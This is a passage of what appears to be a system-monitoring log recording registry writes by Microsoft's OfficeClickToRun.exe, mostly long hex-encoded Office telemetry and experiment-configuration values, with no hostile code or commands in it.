2203a2032207d207d207d2c205c225254435c22203a207b205c224576656e74735c22203a207b205c2246696e6453657373696f6e456e64706f696e7452756e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e74536861726555726c5c22203a207b205c224576656e74735c22203a207b205c22556e7061636b536861726555726c416e6448616e646c65526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e556e7061636b55726c436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22486c696e6b5c22203a207b205c224576656e74735c22203a207b205c224d736f4872486c696e6b43726561746546726f6d537472696e675c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d534f5c22203a207b205c224576656e74735c22203a207b205c22434d736f4f4c446f634e657744657374727563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f63616c446f63756d656e74496e666f557073656c6c4576656e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f63616c446f63756d656e74496e666f466c796f757444726f707065645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2248616e646c65417574684661696c7572655f5573654578697374696e6743726564735f47656e657269634661696c7572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f4f4c446f6342617365476574504b4d436c69656e7445785c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f536572766572496e666f476574536572766572496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745265636f766572794872476574447270436f72655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745265636f766572794d736f4872426567696e4d6f646966794472705c22203a207b205c224576656e74466c61675c22 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|9" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|12" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|13" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}\ApplicationFlags = "1" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.8 = 696e677c7b205c225375624e616d657370616365735c22203a207b205c22436f617574685c22203a207b205c224576656e74735c22203a207b205c22457865637574654d65726765496e7374616e63655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224b69636b4f6666517569636b536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22586c53796e6353746174654368616e67654c697374656e65724f6e53796e6353746174654368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f63734765744f70496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c6f7365576f726b626f6f6b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224261636b67726f756e6451756575655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e4765745265766973696f6e436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e4765745265766973696f6e526573706f6e736552656365697665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f70464275696c644765745265766973696f6e526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f637350756c6c4f704f6e436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b5061636b61676546696c6553746172745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b5061636b61676546696c6553746f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b456e637279707465644d6574726f46696c6553746172745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b456e637279707465644d6574726f46696c6553746f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536b697070656443686743656c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243717532674872446f456e74657243656c6c466d6c61584c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22496e6672615c22203a207b205c224576656e74735c22203a207b205c224164644c6f63616c655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436f6d6d616e645c22203a207b205c224576656e74735c22203a207b205c2252656672657368416c6c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22526566457874446174615c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c2246696c65536176655c22203a207b205c224576656e74735c22203a207b205c225361766541735361766546696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c2243616c635c22203a207b205c224576656e74735c22203a207b205c224669784d616e75616c43616c634f6e4c6f61645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4578706572696d656e746174696f6e222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224564676546657463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164696e67466972737453657373696f6e43616368655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744665617475726573466f72534458556e65787065637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224142436f6e66696754726561746d656e7454797065556e65787065637465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e457874656e736962696c697479222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c22446973636f7665725472794275795c22203a207b205c225375624e616d657370616365735c22203a207b205c2250795c22203a207b205c224576656e74735c22203a207b205c2253657276657244726976656e4e6f74696669636174696f6e55736572416374696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c224f66666963654a735c22203a207b205c224576656e74735c22203a207b205c22417070436f6d6d616e64446566696e6974696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070496e697469616c697a6174696f6e585c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225363726970744c6f6164585c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436174616c6f675c22203a207b205c224576656e74735c22203a207b205c2245786368616e67654765744c617374557064617465325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22547279446973636f76657245777355726c735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245786368616e67654765744c6173745570646174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2254727948616e646c6541757468656e7469636174696f6e526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245786368616e6765476574456e7469746c656d656e74735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786368616e67654765744d616e6966657374735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786368616e676552656672657368457874656e73696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2241757468656e7469636174696f6e526963684170695c22203a207b205c224576656e74735c22203a207b205c22476574416363657373546f6b656e56324261636b67726f756e645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574416363657373546f6b656e56324d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574416363657373546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247657441757468546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22496e7374616c6c65725c22203a207b205c225375624e616d657370616365735c22203a207b205c225461736b456e67696e655c22203a207b205c224576656e74735c22203a207b205c224765744368616e676564536f6c7574696f6e735461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224765744368616e676564536f6c7574696f6e735461736b5265676973746572536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b52656769737465724e65757472616c5061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b5363686564756c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b526567697374726174696f6e4572726f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b537563636573735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b496e46696e616c697a655374617465457863657074696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b536574496e7374616c6c5374617475734572726f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b61676541707078457874726163746f725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b6167655265717565737465725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b6167655265717565737465725461736b53657276696365526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b446573747275637465644265666f7265436f6d706c6574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b436f6d706c6574656446657463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b496e7374616c6c6564417070735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457870466972737453657373696f6e5461736b4170704665746368446f6e655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b61676553617665725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578705061636b616765526567697374726174696f6e496e666f5461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225061636b616765536f6c7574696f6e49445570646174655461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578747261637446696c6573546573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245787472616374466f6f747072696e7446696c6573546573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b52756e4e657874457863657074696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f73664d616e696665737456616c696461746f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224765744368616e676564536f6c7574696f6e735461736b52656769737465724c6f63616c655061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c476574436f6e66696755726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253636176656e6765725461736b436c656172526567697374726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b5265676973746572536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b52656769737465724e65757472616c5061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436865636b416e64557064617465416c6c536478536f6c7574696f6e735461736b52656769737465724c6f63616c655061636b6167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b4c6f63616c65556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744368616e676564536f6c7574696f6e735461736b5061636b616765556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c536478536f6c7574696f6e5461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253636176656e6765725461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253636176656e6765725461736b436c656172526567697374726174696f6e4661696c65645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d61696e5c22203a207b205c224576656e74735c22203a207b205c225344584261636b67726f756e645461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c65725374617274436f6d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c657253746172744e6f74434f4d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c496e69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f7366496e7374616c6c657253746172744d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c5363686564756c655461736b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243496e7374616c6c65724d61696e5368656c6c53687574646f776e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744e6574776f726b436f737454696d656f75745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744e6574776f726b436f737453657276696365556e617661696c61626c655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d2c205c224576656e74735c22203a207b205c225061636b61676541707078457874726163746f725461736b5061636b616765496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253616e64626f785c22203a207b205c224576656e74735c22203a207b205c22506f73744f7366436f6e74726f6c4d6573736167655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f445041637469766174696f6e48616e67696e675c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253616e64626f784372656174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654f7366436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225365744f4d546f6b656e4f6e54726964656e74486f73745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657454726964656e74486f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f445053686f775461736b70616e65436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174654f7366436f6e74726f6c56325c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243726561746552656d6f7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446f776e6c6f61644d616e69666573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656c6f6164416c6c4f7366436f6e74726f6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265737461727452656d6f7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265737461727453616e64626f7865735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746172744f7366436f6e74726f6c5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22417070436f6d6d616e64735c22203a207b205c224576656e74735c22203a207b205c22526962626f6e5847656e657261746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070436d6450726f6a656374696f6e5374617475735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224361636865446573657269616c697a6546726f6d53747265616d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22436163686553657269616c697a65546f53747265616d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224361636865536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22457773526566726573685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2245786563757465416374696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246616c6c6261636b546f46697273744c6976654964496e4f454d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246616c6c6261636b546f46697273744c6976654964496e526962626f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246657463684361636865536f6c7574696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22496e7374616c6c4d616e696665737452656164795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d696e43616368655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224d69734d61746368696e67526962626f6e4964656e74697479496e666f5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225072657061726553686f775461736b70616e6556325c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656d6f766546726f6d526962626f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f775465616368696e6743616c6c6f75745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225461736b70616e65417070436d64496e7374616c6c6174696f6e5c22203a207b205c C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.10 = 203a2032207d2c205c225469746c654261725361766555694d616e616765725772697465537461747573546f5469746c654261725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164437369446c6c466f72436c69636b3252756e456e7669726f6e6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2249735365727665724361636865645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d616e75616c5361766555736167655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246696c6553746f72655c22203a207b205c224576656e74735c22203a207b205c22465344436f7272757074696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2247617262616765436f6c6c656374696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225a65726f4279746546696c6555706c6f6164417474656d707465645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c2252756e74696d6550726f706572746965735c22203a207b205c224576656e74735c22203a207b205c22496e636f6d70617469626c6543736956657273696f6e44657465637465645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c224f66666963655c22203a207b205c225375624e616d657370616365735c22203a207b205c2246696c65494f5c22203a207b205c225375624e616d657370616365735c22203a207b205c224353495c22203a207b205c225375624e616d657370616365735c22203a207b205c2253746f726167655c22203a207b205c224576656e74735c22203a207b205c2243616368654f707469637356325c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d2c205c224d6f6373695c22203a207b205c224576656e74735c22203a207b205c22557064617465486f73745469705c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4772617068696373222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22415243457863657074696f6e53636f70655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2245326f5669657752656e646572506572666f726d616e636541637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224172745669657756616c69646174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f6669745368617065546f54657874436d645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546f704c6576656c456666656374447261775c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174654269746d617046726f6d506c6174666f726d4269746d61705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e6b496e70757453757266616365426173655570646174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250617468576964656e657246576964656e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250617468576964656e657246576964656e53696d706c65506174685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224776697a536d61727441727450726f7065727469657354656c656d657472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726561746544657669636544334431305c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22537065637472655472616e73636f646541637469766974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22496e73657274496e646976696475616c4d6f64656c334441637469766974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61646564496d61676550726f706572746965735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22496e736572744d6f64656c334441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22537065637472654372656174655363656e6541637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224d6f64656c334452656e64657241637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4964656e74697479222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22456e7375726550726f7669646572496e697465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574506572736f6e50726f66696c6553657475705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224964656e74697479536e617073686f745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657450726f7669646572466f7241757468536368656d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472794964656e74697479506172656e744d617463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526f616d696e6750726f7879496e69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536861726564437265645265667265736846726f6d53746f72655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526561644f6e6546726f6d43726564656e7469616c4c6973745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22435265616453796e635461736b52756e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f6d61696e4a6f696e65644f72436c6f7564446f6d61696e4a6f696e656453657373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744164616c416363657373546f6b656e46726f6d4372656450726f76696465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574536572766963655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574436f6e666967546f6b656e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574426c6f636b696e67536572766963655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22506f70756c617465536572766963654d61705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657441757468656e74696361746564536572766963655469636b65745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526566726573684964656e7469746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765745365727669636555726c466f7246656465726174696f6e50726f7669646572416e616c797369735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225365727669636555726c5374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2241637175697265536572766963655469636b6574466f724144414c5c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c2253697465735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e496e736967687473222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c22496e73696768747350616e655c22203a207b205c224576656e74735c22203a207b205c22415c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22445c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2248746d6c5072656665746368526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436163686546696c654e6f7456616c69645c22203a207b205c224576656e74466c61675c22203a20323536207d207d2c205c225375624e616d657370616365735c22203a207b205c224f66666963655c22203a207b205c224576656e74735c22203a207b205c2253797374656d616c69645c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22496e7369676874735c22203a207b205c224576656e74735c22203a207b205c22496e73696768747350616e655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e73696768747350616e65305c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e73696768747350616e65725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253797374656d5c22203a207b205c224576656e74735c22203a207b205c224163746976697479715c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224163746976697479735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d2c205c22536d6172744c6f6f6b75705c22203a207b205c224576656e74735c22203a207b205c22415c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f7079466561747572654761746573315c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f7079466561747572654761746573325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573315c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657446656174757265476174657331305c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657446656174757265476174657331315c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657446656174757265476174657331325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657446656174757265476174657331335c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657446656174757265476174657331355c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573335c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573345c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573355c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573365c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573375c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573385c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574466561747572654761746573395c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2248746d6c5072656665746368526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265667265736843616368656446696c65735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446f776e6c6f61645265736f757263655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2241757468656e7469636174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22526573756c7447726f7570546f52656e6465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253656e64576562536f636b6574526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22576562536f636b657450696e67506f6e674c6174656e63795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446961676e6f737469635c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c2238564d65686c6c5c22203a207b205c225375624e616d657370616365735c22203a207b205c22356b69614b3747426b7a505746675c22203a207b205c224576656e74735c22203a207b205c22373139305c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c22385c22203a207b205c225375624e616d657370616365735c22203a207b205c227a424b387872415553554e52497859484e4b55415c22203a207b205c224576656e74735c22203a207b205c22393133335c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d2c205c224f66666963655c22203a207b205c224576656e74735c22203a207b205c2253797374656d644d617463685c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22496e7369676874735c22203a207b205c224576656e74735c22203a207b205c22536d6172744c6f6f6b75705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536d6172744c6f6f6b75705f5f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536d6172744c6f6f6b75705f5f5f5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253797374656d5c22203a207b205c224576656e74735c22203a207b205c2241637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253797374656d68633863674f6a46515c22203a207b205c224576656e74735c22203a207b205c22383635335c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d2c205c22556952756e74696d655c22203a207b205c224576656e74735c22203a207b205c22437265617465576562536f636b65745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2250726f636573735265717565737451756575655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22496e74656e745365727669636550726f78794f6e436f6e6e656374696f6e436c6f7365645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f6e436f6e6e656374696f6e436c6f7365645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4c6963656e73696e67222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224c6963656e73696e67427573626172416374696f6e5c22203a207b205c224576656e74466c61675c22203a203439343038207d2c205c22487244697370617463685375625461736b53746172745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22517569636b56616c69646174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253617665416c6c536b75696473546f52656769737472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2257616974546f52657472794865617274626561745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536561726368466f7253657373696f6e546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224e554c56616c69646174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2256616c696461746553657373696f6e546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323